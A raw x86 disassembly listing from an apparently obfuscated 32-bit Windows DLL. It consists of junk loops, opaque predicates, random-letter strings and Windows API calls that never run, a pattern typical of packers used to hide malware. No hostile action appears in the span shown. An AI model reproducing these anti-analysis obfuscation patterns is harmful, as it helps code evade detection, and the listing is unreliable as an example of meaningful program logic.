mov ecx, dword [ebp - 0x60]
movzx ecx, byte [ebp + ecx - 0x183]
and ecx, eax
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x3b0]
movzx eax, byte [ebp + eax - 0x186]
movzx eax, word [ebp + eax*2 - 0xd44]
mov edx, dword [ebp - 0x60]
movzx edx, byte [ebp + edx - 0x183]
and edx, eax
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x3b0]
movzx eax, byte [ebp + eax - 0x186]
movzx eax, word [ebp + eax*2 - 0xd44]
mov esi, dword [ebp - 0x60]
movzx esi, byte [ebp + esi - 0x183]
add esi, eax
sub esi, edx
sub esi, ecx
mov eax, dword [ebp - 0x60]
movzx eax, byte [ebp + eax - 0x184]
mov word [ebp + eax*2 - 0xd44], si
jmp 0x100186f0
mov dword [ebp - 0x210], 0x960f57a7
mov dword [ebp - 0x308], 0
jmp 0x10018e37
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 2
jge 0x10018e53
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0xf40], 0x7862
jmp 0x10018e2a
mov dword [ebp - 0x210], 1
jmp 0x10018e6c
mov eax, dword [ebp - 0x210]
dec eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jl 0x1001900b
mov dword [ebp - 0x460], 0x74ba
mov dword [ebp - 0x9e0], str.iypqc_yhlotyfi_jbl_snt_vbsoyoj_axuukd_obxo_acrhw_hmx_mmiibxdwx
cmp dword [ebp - 0x460], 0x781f
jle 0x10018f89
and dword [ebp - 0x2e8], 0
jmp 0x10018eb3
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x21fb
jge 0x10018f81
and dword [ebp - 0x220], 0
jmp 0x10018ed9
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x7bff
jge 0x10018f7c
and dword [ebp - 0x2a0], 0
jmp 0x10018eff
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x3257
jge 0x10018f77
and dword [ebp - 0x218], 0
jmp 0x10018f21
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x10d4
jge 0x10018f72
mov eax, dword [ebp - 0x2a0]
add eax, dword [ebp - 0x218]
mov edx, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x220]
sar edx, cl
mov ecx, eax
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0xa18], eax
mov dword [ebp - 0xa14], edx
push dword [ebp - 0xa14]
push dword [ebp - 0xa18]
mov ecx, 0x10079358
call fcn.100033d6
jmp 0x10018f14
jmp 0x10018ef2
jmp 0x10018ecc
jmp 0x10018ea6
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x10018fa3
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x460], 0x71dc
jge 0x10018fc6
mov edx, dword [ebp - 0x9e0]
mov ecx, 0x10079358
call fcn.1000562f
jmp 0x10018fe2
or dword [ebp - 4], 0xffffffff
jmp 0x10018fec
mov byte [ebp - 0x103], 0
movzx eax, byte [ebp - 0x103]
test eax, eax
je 0x10019006
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
jmp 0x10018e5f
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xd44], cx
mov dword [ebp - 0x4c], 0x8ef8a6eb
mov dword [ebp - 0xcf4], 0xd7276cc7
mov dword [ebp - 0xcf0], 0xd7276cc7
mov dword [ebp - 0xcec], 0xd7276cc7
mov dword [ebp - 0xce8], 0xd7276cc7
lea ecx, [ebp - 0x345]
call fcn.100035fb
push eax
lea eax, [ebp - 0xce4]
push eax
lea eax, [ebp - 0xcf4]
push eax
lea ecx, [ebp - 0xf68]
call fcn.100035fe
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1b0]
call fcn.100035aa
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x32c], 0xf4fc6a3f
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x2a8], 0
jmp 0x100190ba
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 2
jge 0x100190d6
mov eax, dword [ebp - 0x2a8]
mov dword [ebp + eax*4 - 0x140], 0xfffffffc
jmp 0x100190ad
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x140], 0
jg 0x100190fd
xor eax, eax
inc eax
je 0x100190fd
cmp dword [ebp - 0x4c], 0
je 0x100190fd
mov dword [ebp - 0x3bc], 1
jmp 0x10019104
and dword [ebp - 0x3bc], 0
push 1
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov ecx, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3bc]
add eax, 0x6195fede
jne 0x10019132
mov dword [ebp - 0x888], 1
jmp 0x10019139
and dword [ebp - 0x888], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x888]
cmp ecx, dword [ebp + eax - 0x140]
jl 0x1001915d
mov dword [ebp - 0x468], 1
jmp 0x10019164
and dword [ebp - 0x468], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x468]
sub edx, dword [ebp + ecx - 0x140]
add edx, dword [ebp - 0x88]
cmp edx, dword [ebp + eax - 0x140]
jle 0x10019198
mov dword [ebp - 0x890], 1
jmp 0x1001919f
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x890], eax
je 0x100191b6
mov dword [ebp - 0x470], 1
jmp 0x100191bd
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x470], eax
jge 0x100191d7
mov dword [ebp - 0x898], 1
jmp 0x100191de
and dword [ebp - 0x898], 0
cmp dword [ebp - 0x898], 0x415e
jg 0x100191f6
mov dword [ebp - 0x478], 1
jmp 0x100191fd
and dword [ebp - 0x478], 0
cmp dword [ebp - 0x478], 2
jbe 0x10019212
mov dword [ebp - 0x97c], 1
jmp 0x10019219
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xea0], eax
cmp dword [ebp - 0x4c], 0
je 0x10019240
cmp dword [ebp - 0x88], 0
je 0x10019240
mov dword [ebp - 0x8a0], 1
jmp 0x10019247
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x8a0]
sub eax, dword [ebp - 0x4c]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x140]
sub ecx, eax
mov dword [ebp - 0x88], ecx
jne 0x10019279
mov eax, 0xb167
test eax, eax
jne 0x10019279
and dword [ebp - 0xba0], 0
jmp 0x10019283
mov dword [ebp - 0xba0], 1
push 1
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov eax, dword [eax]
add eax, 0xa
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0x140], eax
jl 0x100192b0
mov dword [ebp - 0x480], 1
jmp 0x100192b7
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x32c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x32c]
cmp ecx, dword [ebp + eax - 0x140]
jge 0x100192e4
mov dword [ebp - 0x8a8], 1
jmp 0x100192eb
and dword [ebp - 0x8a8], 0
cmp dword [ebp - 0x8a8], 1
jge 0x10019300
mov dword [ebp - 0x8b0], 1
jmp 0x10019307
and dword [ebp - 0x8b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
cmp eax, dword [ebp - 0x8b0]
je 0x10019328
mov dword [ebp - 0x48c], 1
jmp 0x1001932f
and dword [ebp - 0x48c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
cmp dword [ebp - 0x48c], eax
jge 0x10019350
mov dword [ebp - 0x89c], 1
jmp 0x10019357
and dword [ebp - 0x89c], 0
cmp dword [ebp - 0x89c], 0xba2c
je 0x1001936f
mov dword [ebp - 0x494], 1
jmp 0x10019376
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x494], eax
jg 0x1001938d
mov dword [ebp - 0x6e4], 1
jmp 0x10019394
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x100194c4
mov dword [ebp - 0x984], 0x642d9490
mov dword [ebp - 0x38c], 8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0xec8], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xe24], eax
push 4
pop eax
imul eax, eax, 0
xor ecx, ecx
inc ecx
sub ecx, dword [ebp + eax - 0x140]
cmp ecx, dword [ebp - 0x38c]
jne 0x10019407
mov dword [ebp - 0x49c], 1
jmp 0x1001940e
and dword [ebp - 0x49c], 0
push 0
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov ecx, dword [ebp - 0x49c]
imul ecx, dword [eax]
test ecx, ecx
jne 0x10019436
or eax, 0xffffffff
jne 0x10019436
and dword [ebp - 0x80c], 0
jmp 0x10019440
mov dword [ebp - 0x80c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
cmp eax, dword [ebp - 0x80c]
jl 0x10019461
mov dword [ebp - 0x4a4], 1
jmp 0x10019468
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4a4]
sub eax, 9
sub eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x38c]
jg 0x10019497
mov eax, 0xd8e7dfbf
test eax, eax
je 0x10019497
push 2
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
cmp dword [eax], 0
jne 0x100194a9
cmp dword [ebp - 0x38c], 0
jne 0x100194a9
and dword [ebp - 0x6ec], 0
jmp 0x100194b3
mov dword [ebp - 0x6ec], 1
mov eax, dword [ebp - 0x6ec]
mov dword [ebp - 0x88], eax
jmp 0x1001989e
mov dword [ebp - 0xaf0], 0xfffffffc
mov dword [ebp - 0x228], 0
jmp 0x100194e7
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 2
jge 0x10019503
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0xc70], 0xfffe
jmp 0x100194da
mov dword [ebp - 0x20], 1
jmp 0x10019513
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x10019535
mov byte [ebp - 0xd8], 0
movzx eax, byte [ebp - 0xd8]
test eax, eax
je 0x10019533
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1001950c
mov dword [ebp - 0x4c], 0
jmp 0x10019545
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jg 0x1001989e
mov dword [ebp - 0x134], 0x81aa30d2
mov dword [ebp - 0x20], 3
jmp 0x10019569
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x10019771
push 1
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
cmp dword [ebp - 0x134], 0
je 0x10019647
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov esi, eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x100195cd
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
cmp dword [eax], 0
jne 0x100195cd
and dword [ebp - 0x4ac], 0
jmp 0x100195d7
mov dword [ebp - 0x4ac], 1
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov ecx, dword [ebp - 0x4ac]
cmp ecx, dword [eax]
jle 0x100195fb
mov dword [ebp - 0x920], 1
jmp 0x10019602
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x1eb7ccd0
jle 0x10019626
mov dword [ebp - 0x4b4], 1
jmp 0x1001962d
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x4b4], eax
jg 0x10019647
mov dword [ebp - 0x6f4], 1
jmp 0x1001964e
and dword [ebp - 0x6f4], 0
mov esi, dword [ebp - 0x134]
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edi, dword [ebp + ecx - 0xc70]
imul edi, dword [ebp - 0x6f4]
imul edi, dword [ebp + eax - 0xc70]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
imul edi, dword [eax]
cmp edi, esi
jge 0x10019697
mov dword [ebp - 0x4bc], 1
jmp 0x1001969e
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0x134]
mov dword [ebp - 0x32c], eax
je 0x100196c5
push 2
pop eax
test eax, eax
je 0x100196c5
mov dword [ebp - 0x814], 1
jmp 0x100196cc
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x814], eax
jg 0x100196e6
mov dword [ebp - 0x4c4], 1
jmp 0x100196ed
and dword [ebp - 0x4c4], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov esi, dword [ebp - 0x4c4]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
cmp esi, dword [eax]
jge 0x10019720
mov dword [ebp - 0x6fc], 1
jmp 0x10019727
and dword [ebp - 0x6fc], 0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov eax, dword [eax]
add eax, dword [ebp - 0x6fc]
cmp eax, 0xf3a4
jl 0x10019750
mov dword [ebp - 0x4cc], 1
jmp 0x10019757
and dword [ebp - 0x4cc], 0
push 1
lea ecx, [ebp - 0x1b0]
call fcn.100035ec
mov ecx, dword [ebp - 0x4cc]
mov dword [eax], ecx
jmp 0x10019562
mov dword [ebp - 0x8a4], 0xce6
mov dword [ebp - 0x98c], str.mckrz_umme_axbe_pzkol_vqqii_jpux_mcnzembck
cmp dword [ebp - 0x8a4], 0xe2d
jle 0x10019841
and dword [ebp - 0x230], 0
jmp 0x100197ab
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x50cc
jge 0x10019841
and dword [ebp - 0x2b0], 0
jmp 0x100197d1
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x6c40
jge 0x1001983c
and dword [ebp - 0x238], 0
jmp 0x100197f3
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x6fb8
jge 0x1001983a
mov eax, dword [ebp - 0x230]
mov ecx, dword [ebp - 0x2b0]
shl eax, cl
mov ecx, dword [ebp - 0x238]
sar eax, cl
cdq
mov dword [ebp - 0xa24], eax
mov dword [ebp - 0xa20], edx
push dword [ebp - 0xa20]
push dword [ebp - 0xa24]
mov ecx, 0x10079358
call fcn.100033d6
jmp 0x100197e6
jmp 0x100197c4
jmp 0x1001979e
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xaf0], eax
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x8a4], 0xa63
jge 0x1001986d
mov edx, dword [ebp - 0x98c]
mov ecx, 0x10079358
call fcn.1000562f
jmp 0x10019889
mov dword [ebp - 4], 0xd
jmp 0x10019899
jmp 0x1001953e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b0]
call fcn.100035d0
lea eax, [ebp - 0xd44]
push eax
lea ecx, [ebp - 0xf90]
call fcn.10003513
mov dword [ebp - 0xb78], eax
mov eax, dword [ebp - 0xb78]
mov dword [ebp - 0x994], eax
mov dword [ebp - 4], 0x10
push dword [ebp - 0x994]
call fcn.100114f4
pop ecx
mov dword [ebp - 0x5f8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf90]
call fcn.10003538
mov dword [ebp - 0x120], 0x5dae5a60
mov dword [ebp - 0x81c], 6
mov dword [ebp - 0x714], 0xfe24307a
mov dword [ebp - 0x354], 0xa7609fa8
mov dword [ebp - 0xba8], 9
mov dword [ebp - 0x4ec], 0x5f43260
mov dword [ebp - 0x9a4], 0x7b88cdf8
mov dword [ebp - 0x4d4], 0x4144
mov dword [ebp - 0x99c], str.rbtnpuv_ltojrvv_kmjri_iqntjjjk_pntd
cmp dword [ebp - 0x4d4], 0x43df
jle 0x10019a03
and dword [ebp - 0x2f0], 0
jmp 0x10019979
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x3397
jge 0x10019a03
and dword [ebp - 0x240], 0
jmp 0x1001999b
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x57be
jge 0x100199fe
mov eax, dword [ebp - 0x2f0]
or eax, dword [ebp - 0x240]
cdq
mov dword [ebp - 0xa30], eax
mov dword [ebp - 0xa2c], edx
push dword [ebp - 0xa2c]
push dword [ebp - 0xa30]
lea ecx, [ebp - 0x1020]
call fcn.10001ac4
pop ecx
pop ecx
mov dword [ebp - 0xaf8], eax
mov ecx, dword [ebp - 0xaf8]
call fcn.100033b6
push eax
call fcn.10046ccf
pop ecx
lea ecx, [ebp - 0x1020]
call fcn.100033ac
jmp 0x1001998e
jmp 0x1001996c
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10019a1b
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x4d4], 0x406b
jge 0x10019a3a
push dword [ebp - 0x99c]
call fcn.10046ccf
pop ecx
jmp 0x10019a56
or dword [ebp - 4], 0xffffffff
jmp 0x10019a60
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x714]
jge 0x10019a7a
mov dword [ebp - 0x704], 1
jmp 0x10019a81
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
sub eax, 7
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
sub eax, dword [ebp - 0xba8]
cmp eax, 0x4891
jne 0x10019aaf
mov dword [ebp - 0x4dc], 1
jmp 0x10019ab6
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x4dc], eax
jge 0x10019ad0
mov dword [ebp - 0x4e4], 1
jmp 0x10019ad7
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
cmp eax, dword [ebp - 0x4e4]
je 0x10019afd
mov dword [ebp - 0x70c], 1
jmp 0x10019b04
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0xb8fa
je 0x10019b28
mov dword [ebp - 0x8ec], 1
jmp 0x10019b2f
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x8ec]
sub eax, dword [ebp - 0x120]
je 0x10019b49
mov dword [ebp - 0x4f4], 1
jmp 0x10019b50
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x4f4]
dec eax
cmp eax, dword [ebp - 0x714]
jne 0x10019b6b
mov dword [ebp - 0x4fc], 1
jmp 0x10019b72
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x4fc]
jl 0x10019b8c
mov dword [ebp - 0x824], 1
jmp 0x10019b93
and dword [ebp - 0x824], 0
cmp dword [ebp - 0x824], 1
jbe 0x10019ba8
mov dword [ebp - 0x504], 1
jmp 0x10019baf
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x120]
jne 0x10019bc1
xor eax, eax
je 0x10019bd6
cmp dword [ebp - 0x354], 0
je 0x10019bd6
mov dword [ebp - 0x71c], 1
jmp 0x10019bdd
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0x9a4], eax
and dword [ebp - 0x2b8], 0
jmp 0x10019bff
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0xd
jae 0x10019c1a
xor eax, eax
mov ecx, dword [ebp - 0x2b8]
mov word [ebp + ecx*2 - 0xd44], ax
jmp 0x10019bf2
push 2
lea ecx, [ebp - 0x338]
call fcn.1000354d
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x73c], 0x909b7928
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x64], 0x7e06985b
push 4
lea ecx, [ebp - 0x3d8]
call fcn.1000354d
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x78], 0
jmp 0x10019c7b
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x10019c97
push dword [ebp - 0x78]
lea ecx, [ebp - 0x338]
call fcn.100035ec
mov dword [eax], 0x1177e8ed
jmp 0x10019c74
mov dword [ebp - 0x78], 0
jmp 0x10019ca7
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 4
jge 0x10019cc0
push dword [ebp - 0x78]
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
and dword [eax], 0
jmp 0x10019ca0
mov dword [ebp - 0x1c], 1
jmp 0x10019cd0
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1001a164
mov dword [ebp - 0x248], 0xffffffff
mov dword [ebp - 0x394], 0x51814487
cmp dword [ebp - 0x73c], 0
je 0x10019e5c
push 0
lea ecx, [ebp - 0x338]
call fcn.100035ec
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
cmp dword [eax], 0
jne 0x10019d40
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
cmp dword [eax], 0
jne 0x10019d40
mov eax, 0x9beab1d6
test eax, eax
jne 0x10019d40
and dword [ebp - 0x50c], 0
jmp 0x10019d4a
mov dword [ebp - 0x50c], 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [eax]
jge 0x10019d6e
mov dword [ebp - 0x8ac], 1
jmp 0x10019d75
and dword [ebp - 0x8ac], 0
cmp dword [ebp - 0x8ac], 0xfffe
je 0x10019d8d
mov dword [ebp - 0x514], 1
jmp 0x10019d94
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0x549ec71
je 0x10019dac
mov dword [ebp - 0x724], 1
jmp 0x10019db3
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x724], eax
jge 0x10019dca
mov dword [ebp - 0x51c], 1
jmp 0x10019dd1
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x51c]
add eax, 0xc281
cmp eax, dword [ebp - 0x130]
jle 0x10019df0
mov dword [ebp - 0x82c], 1
jmp 0x10019df7
and dword [ebp - 0x82c], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
mov ecx, dword [ebp - 0x82c]
cmp ecx, dword [eax]
jge 0x10019e1b
mov dword [ebp - 0x524], 1
jmp 0x10019e22
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0x524], eax
jl 0x10019e3c
mov dword [ebp - 0x72c], 1
jmp 0x10019e43
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x72c]
sub eax, 0x91045e6
je 0x10019e5c
mov dword [ebp - 0x52c], 1
jmp 0x10019e63
and dword [ebp - 0x52c], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
mov eax, dword [eax]
cmp eax, dword [ebp - 0x52c]
jle 0x10019e87
mov dword [ebp - 0x908], 1
jmp 0x10019e8e
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0x534], eax
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x64], eax
mov esi, dword [ebp - 0x64]
push 1
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
mov dword [eax], esi
mov dword [ebp - 0x130], 3
jmp 0x10019ece
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x1001a15f
mov dword [ebp - 0xb00], 8
mov dword [ebp - 0x35c], 0xffffffff
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
cmp dword [eax], 0x6b99
jle 0x10019f11
mov dword [ebp - 0x834], 1
jmp 0x10019f18
and dword [ebp - 0x834], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
cmp dword [eax], 0
je 0x10019f83
mov eax, dword [ebp - 0x248]
add eax, 0x3205
je 0x10019f57
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
cmp dword [eax], 0
je 0x10019f57
mov dword [ebp - 0x734], 1
jmp 0x10019f5e
and dword [ebp - 0x734], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
mov eax, dword [eax]
imul eax, dword [ebp - 0x734]
cmp eax, 3
jbe 0x10019f83
and dword [ebp - 0x53c], 0
jmp 0x10019f8d
mov dword [ebp - 0x53c], 1
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x834]
mov dword [ebp - 0x394], eax
push 1
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
mov dword [eax], 0x20a3d576
push dword [ebp - 0x130]
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
cmp dword [eax], 9
jle 0x10019fdb
mov dword [ebp - 0x544], 1
jmp 0x10019fe2
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x248]
imul eax, dword [ebp - 0x544]
test eax, eax
je 0x1001a0c5
mov dword [ebp - 0x9ac], 0xfffffffd
mov eax, dword [ebp - 0x73c]
cmp eax, dword [ebp - 0xb00]
jl 0x1001a01b
mov dword [ebp - 0x54c], 1
jmp 0x1001a022
and dword [ebp - 0x54c], 0
mov esi, dword [ebp - 0x394]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
imul esi, dword [eax]
cmp esi, dword [ebp - 0x54c]
jg 0x1001a04d
mov dword [ebp - 0x8b4], 1
jmp 0x1001a054
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x8b4]
cmp eax, 0xfffffff8
jbe 0x1001a06f
mov dword [ebp - 0x554], 1
jmp 0x1001a076
and dword [ebp - 0x554], 0
push 1
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
mov dword [eax], 0x1ccf
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x1ccf
jne 0x1001a0a7
mov dword [ebp - 0x744], 1
jmp 0x1001a0ae
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x744]
sub eax, dword [ebp - 0x9ac]
mov dword [ebp - 0x35c], eax
jmp 0x1001a15a
mov dword [ebp - 0xb88], 0xffffffff
mov dword [ebp - 0x64], 0
jmp 0x1001a0df
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jg 0x1001a0fc
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x338]
call fcn.100035ec
cmp dword [eax], 0
je 0x1001a0fa
jmp 0x1001a0fc
jmp 0x1001a0d8
mov esi, dword [ebp - 0x248]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
cmp esi, dword [eax]
jg 0x1001a120
mov dword [ebp - 0x3ac], 1
jmp 0x1001a127
and dword [ebp - 0x3ac], 0
push 1
lea ecx, [ebp - 0x3d8]
call fcn.100035ec
mov ecx, dword [ebp - 0x3ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3ac]
sub eax, dword [ebp - 0xb88]
mov dword [ebp - 0x35c], eax
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x394], eax
jmp 0x10019ec1
jmp 0x10019cc9
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3d8]
call fcn.100035d0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x338]
call fcn.100035d0
cmp dword [ebp - 0x5f8], 0
je 0x1001d754
push 1
lea ecx, [ebp - 0x324]
call fcn.1000354d
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x83c], 0xb597857
